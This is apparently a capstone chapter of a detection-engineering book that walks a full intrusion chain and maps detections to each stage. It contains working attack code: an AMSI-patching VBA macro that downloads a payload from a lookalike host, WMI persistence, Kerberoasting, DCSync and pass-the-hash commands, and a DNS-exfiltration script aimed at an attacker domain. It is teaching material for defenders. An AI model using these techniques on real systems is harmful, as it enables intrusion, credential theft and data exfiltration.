End-to-End Attack Chain
Every chapter in this book covered one technique in isolation. Real intrusions chain them: initial access flows into execution, execution into persistence, persistence into privilege escalation, escalation into lateral movement, lateral movement into final objectives. This capstone synthesizes the full kill chain — from spearphish to crown jewel exfiltration — with detection opportunities mapped at each stage.
A nation-state actor targets a defense contractor. The objective: steal design documents from an air-gapped engineering workstation. The attack spans: spearphish → macro execution → AMSI bypass → reflective DLL load → WMI persistence → Kerberoasting → DCSync → lateral movement to the domain controller → AD trust abuse to reach the engineering segment → LSASS dump → DNS exfiltration of documents.
Attack Chain Overview
Phase 1: Initial Access (T1566.001)
' VBA macro — document_open with AMSI bypass + shellcode download:
Private Sub Document_Open()
' Patch AMSI (AmsiScanBuffer → mov eax,1; ret)
Dim h As LongPtr : h = GetModuleHandleA("amsi.dll")
Dim fn As LongPtr : fn = GetProcAddress(h, "AmsiScanBuffer")
Dim patch(5) As Byte
patch(0) = &HB8 : patch(1) = 1 : patch(4) = &HC3
Dim old As LongPtr
VirtualProtect fn, 6, &H40, old
CopyMemory fn, patch(0), 6
' Download packed reflective DLL in memory
Dim xhr As Object
Set xhr = CreateObject("MSXML2.XMLHTTP")
xhr.Open "GET", "https://updates.microsoft-cdn.net/svchost.dll", False
xhr.Send
' AES decrypt payload from response body then inject reflectively
InjectReflective xhr.responseBody
End Sub
Phase 2: Execution and Persistence (T1055.001, T1546.003)
// Reflective loader skeleton — runs in the context of winword.exe:
// 1. Maps itself into new RWX allocation
// 2. Resolves imports by walking PEB InLoadOrderModuleList
// 3. Fixes relocations; calls DllMain(DLL_PROCESS_ATTACH)
// [See ch202 for full reflective DLL loader code]
# WMI persistence (PowerShell, runs from injected DLL):
$filter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()
$filter.Name = "Windows Update Check"
$filter.QueryLanguage = "WQL"
$filter.Query = "SELECT * FROM __TimerEvent WHERE TimerID='UpdateCheck'"
$filter.Put()
$consumer = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance()
$consumer.Name = "Windows Update Check"
$consumer.CommandLineTemplate = "powershell.exe -nop -w h -enc "
$consumer.Put()
$binding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()
$binding.Filter = $filter.__PATH
$binding.Consumer = $consumer.__PATH
$binding.Put()
Phase 3: Privilege Escalation (T1558.003)
# Kerberoasting from standard domain user context:
# Enumerate SPNs in AD:
$searcher = New-Object DirectoryServices.DirectorySearcher
$searcher.Filter = "(&(objectClass=user)(servicePrincipalName=*)(!samAccountName=krbtgt))"
$searcher.PropertiesToLoad.AddRange(@("sAMAccountName","servicePrincipalName"))
$results = $searcher.FindAll()
foreach ($r in $results) {
$spn = $r.Properties.serviceprincipalname[0]
$ticket = [System.IdentityModel.Tokens.KerberosRequestorSecurityToken]::new($spn)
# Extract ticket bytes, base64 encode, send to C2
}
# After offline crack (hashcat -m 13100 hash.txt rockyou.txt):
# Acquired svc_backup credentials → used for DCSync
Phase 4: Lateral Movement — Pass-the-Hash and DCSync (T1550.002, T1003.006)
# DCSync via Impacket secretsdump (using cracked svc_backup creds):
secretsdump.py CORP/svc_backup:'P@ssw0rd!'@dc01.corp.local \
-just-dc-user Administrator
# Output: Administrator:500:aad3b435b51404eeaad3b435b51404ee:NTLM_HASH:::
# PtH lateral movement to engineering jump server:
wmiexec.py -hashes aad3b435....:NTLM_HASH Administrator@eng-jump01.corp.local \
"dir \\\\airops-ws01\\c$\\designs"
# Cobalt Strike equivalents:
# dcsync CORP\Administrator
# pth CORP\Administrator NTLM_HASH
# jump psexec64 eng-jump01.corp.local beacon_x64.exe
Phase 5: Objectives — Exfiltration via DNS (T1048.003)
# From the target workstation, exfiltrate documents via DNS tunnel:
import socket, base64, time, os
EXFIL_DOMAIN = "exfil.attacker-c2.net"
CHUNK_SIZE = 40
def exfil_file(path):
with open(path, 'rb') as f:
data = f.read()
fname_enc = base64.b32encode(os.path.basename(path).encode()).decode().lower().rstrip('=')
for i, offset in enumerate(range(0, len(data), CHUNK_SIZE)):
chunk = base64.b32encode(data[offset:offset+CHUNK_SIZE]).decode().lower().rstrip('=')
fqdn = f"{i}.{fname_enc}.{chunk}.{EXFIL_DOMAIN}"
try: socket.gethostbyname(fqdn)
except: pass
time.sleep(3) # low and slow — evade DLP volume thresholds
exfil_file(r'C:\Designs\ProjectX_Final.pdf')
Full-Chain Detection Opportunities
| Attack phase | Detection rule | Log source | ATT&CK |
|---|---|---|---|
| AMSI patch (initial access) | VirtualProtect on amsi.dll + write to code section | Sysmon EID 10 + kernel callback | T1562.001 |
| Reflective DLL injection | Unsigned DLL loaded into WINWORD.EXE address space | Sysmon EID 7 (ImageLoad without signature) | T1055.001 |
| ETW patch | VirtualProtect on ntdll.dll in non-NT process | Sysmon EID 10 + ETW provider state change | T1562.006 |
| WMI persistence | New __EventFilter + FilterToConsumerBinding creation | Sysmon EID 19/20/21; WMI-Activity EID 5861 | T1546.003 |
| Kerberoasting | RC4 TGS-REQ for service ticket (etype 23) | Windows Security EID 4769 with etype=0x17 | T1558.003 |
| DCSync | DsGetNCChanges DRSR RPC from non-DC | Windows Security EID 4662 (GUID match) | T1003.006 |
| Pass-the-Hash lateral | NTLM logon (Type 3) without prior Type 2; Network logon with no Kerberos | Windows Security EID 4624 LogonType=3 + AuthPackage=NTLM | T1550.002 |
| DNS exfiltration | High-entropy subdomain, high NXDOMAIN rate, large query volume to rare domain | DNS server logs, Zeek DNS, proxy logs | T1048.003 |
-- MDE KQL: Full attack chain correlation — stitch 5 techniques on one device
let target = "workstation42";
let amsi_patch = DeviceEvents
| where DeviceName == target
| where ActionType == "OpenProcess"
| where FileName =~ "amsi.dll";
let reflective = DeviceImageLoadEvents
| where DeviceName == target
| where not(isnotempty(Signer))
| where InitiatingProcessFileName =~ "WINWORD.EXE";
let wmi_persist = DeviceEvents
| where DeviceName == target
| where ActionType has "WmiActivity";
let kerberoast = DeviceEvents
| where DeviceName == target
| where AdditionalFields has "etype=0x17" or AdditionalFields has "etype23";
let dcsync = DeviceEvents
| where DeviceName == target
| where ActionType == "DirectoryServiceAccess"
| where AdditionalFields has "DsGetNCChanges";
union amsi_patch, reflective, wmi_persist, kerberoast, dcsync
| project Timestamp, ActionType, InitiatingProcessFileName, AdditionalFields
| order by Timestamp asc
Book Summary — What to Apply in Detection Engineering
Every chapter in this book was written from the inside-out: understand the offensive technique precisely so you know exactly what artifacts it produces, at what layer, and with what reliability. The core principle is the Pyramid of Pain — hash-based and IP-based detection is the floor, not the ceiling. Technique-based behavioral detections that are impossible to remove without abandoning the attack are the goal.
The detection engineering workflow that ties this book together:
- Understand the technique — read the offensive code and know what kernel calls, registry writes, or network events it generates (Chapters 200–221).
- Identify the artifact — which log source captures it, at which event ID, with what field values (every chapter's detection section).
- Write the Sigma rule — portable, review-able, source-agnostic detection logic that can be translated to any SIEM.
- Translate to KQL — production-ready MDE/Sentinel queries that run against real telemetry.
- Measure coverage — DeTT&CT mapping, ATT&CK Navigator heatmap, Atomic Red Team validation that the rule fires (Chapter 218, 226).
- Reduce FPs, increase fidelity — baseline legitimate use, scope to production assets, add behavioral context (Chapter 216, 226).
- Correlate across the kill chain — a single technique detection is noisy; a correlated detection across 3+ techniques on one host in 60 minutes is a high-confidence incident (Chapter 217, 227).
Q&A
After completing this book, a detection engineer joins a new SOC and finds that 80% of detection rules are hash-based IOC matches. How do you build an evidence-based case for shifting to TTP-based detection, and what is the first rule you would write to demonstrate the difference?
The evidence-based case starts with data the organization already has. Pull the last 90 days of confirmed incidents and ask one question: how many were detected by a hash-match versus by behavioral anomaly? In most organizations the answer is that nearly all confirmed incidents were detected by behavioral rules (EDR behavioral AI, anomaly alerts, threat hunting) or reported by external parties — not by hash-based IOC matches. Hash-based rules generate enormous volumes of "checked and no match" non-events for known-good files, while the actual attacker files that caused incidents never matched any prior hash because they were custom-built or recompiled for the operation. This data makes the case concretely: hash-matching generates zero coverage against novel samples and provides detection only against known-exact files that attackers trivially avoid reusing.
The first behavioral rule to write, because it demonstrates the contrast most clearly, is LSASS process access detection (T1003.001). The hash-based equivalent would be "alert on mimikatz.exe SHA256 = abc123" — trivially evaded by renaming, recompiling, or using any of the dozens of LSASS-dumping alternatives. The behavioral rule instead alerts on "any process that opens LSASS with PROCESS_VM_READ (0x10) or PROCESS_ALL_ACCESS (0x1FFFFF) and is not a whitelisted security product." This detects mimikatz, ProcDump, comsvcs MiniDump via rundll32, NanoDump, and any future tool that dumps LSASS memory — because the behavior is fundamental to the technique, not to a specific tool. When you run Atomic Red Team T1003.001 and demonstrate that the behavioral rule fires for all three atomic tests while the hash rule fires for zero (since AtomicRedTeam downloads fresh samples each time), the demonstration is complete. The behavioral rule cost more to tune (you need to build the LSASS-accessor whitelist) but it earns its value permanently, while the hash rule's value decays to zero within hours of the attacker recompiling.